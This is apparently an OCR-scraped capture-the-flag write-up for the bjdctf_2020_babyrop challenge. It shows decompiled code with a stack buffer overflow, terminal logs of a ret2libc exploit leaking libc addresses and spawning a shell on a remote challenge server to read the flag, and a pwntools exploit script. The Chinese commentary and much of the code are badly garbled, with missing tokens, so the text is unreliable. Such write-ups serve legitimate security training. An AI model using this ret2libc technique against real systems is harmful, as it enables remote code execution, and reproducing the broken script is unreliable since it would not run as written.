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@ """ in ~/PWN/buu [22:31:41]
bjdctf 2020 babyrop
[ 1 '/home/mOsway/PWN/buu/bjdctf_2020_babyrop'
Arch: amd64-64-1little

RELRO:
Stack:
NX
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int _ cdecl main(int argc, const char **argv, const char **envp)

{
init();
vuln();
return @;

}

o EREFFHE T vuln() ¥, EERHEAE.
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vuln() :

ssize t wvuln()

{
char buf; // [rsp+8h] [rbp-28h]

puts("Pull up vour sword and tell me u story!");
return read(@, &buf, @x64ull);

h

® return read(®@, &buf, @x64uLl); : CLIH N EHEAEN buf B,
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buf A FEH Erbp ex2e .
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HIEFHTE system() BN /bin/bash T4 .

Al U Fret2libc 7 getshell
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@ in ~/PWN/buu [22:34:56] C:
.. fattack/bjdctf 2020_babyrop.py

[+] Starting local process '../buu/bjdctf_2020_babyrop': pid
42483
[ 1 "fbome/mOSway/PWN/buu/bjdctf_2020_babyrop'

Arch: amd64-64-1little

RELRO:

Stack:

NX:

PIE:
puts_addr: 0x7ff9e0844450
[ ] Switching to interactive mode

Can u return to libc ?
Try u best!
Pull up your sword and tell me u story!

GSDN @mOsway




53 puts () WESHbEZ 5k AT PLH 5 H libe 3l Mii75 3] system() 1 /bin/bash ikl .

@ in ~/PWN/buu [22:35:37]
.. /attack/bjdctf 2020 babyrop.py
[*] Opening connection to node4.buuoj.cn on port 26823:
[ 1 '/home/mOsway/PWN/buu/bjdctf_2020_babyrop'
Arch: amd64-64-1little
RELRO:
Stack:
NX: :
PIE:
' [home /mOsway /PWN/buu/ubuntu16(64).so'
Arch: " amd64-64-1little
RELRO: o
Stack:
NX:
PIE:
puts_addr: 0x7ff193206690
system_addr: 0x7ff1931dc390
bin_sh_addr: 0x7ff193323d57
[ ] Switching to interactive mode

Can u return to libc ?
ry u best!
Pull up your sword and tell me u story!

PR — i ok sk Hlgetshell



[*] '/home/mOsway/PWN/buufbjdctf 2020_babyrop'
Arch: amd64-64-1little
RELRO:
Stack:
NX:
PIE:
' [home /mOsway/PWN/buu/ubuntul16(64).so’
Arch: amd64-64-1ittle
RELROz2"
Stack:
NX:
PIE:

puts_addr: Ox7f1fbb78b690
system_addr: Ox7¥1Tbb761390
bin_sh_addr: 0x7f1fbb8a8d57

[ ] Switching to interactive mode

Can u return to libc ?
Try u best!
Pull up your sword and. tell me u story!
- whoami
ctf
cat flag
Tlag{33cf1b4e-1852-48ac-9db5-83ce4ad98&aa] @mosway
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from pwn import

remote( ,26823)

elf.plt[

elf.got|

0x400733
elf.symbols|[

(0x20 + 8) p64(rdi_addr) p64(puts_got) p64(puts plt) p64(main_addr)
r.sendline(payload)
puts_addr ub4d(r.recv(6).ljust(s, )))
print( (puts_addr))

puts_addr libc.symbols|
base_addr + libc.symbols|
base_addr (libc.search(
(system_addr))
(bin_sh_addr))

payload (0x20 + 8) p64(rdi_addr) p64(bin_sh_addr) p64(system_addr) p64(main_addr)
r.sendline(payload)

r.interactive()
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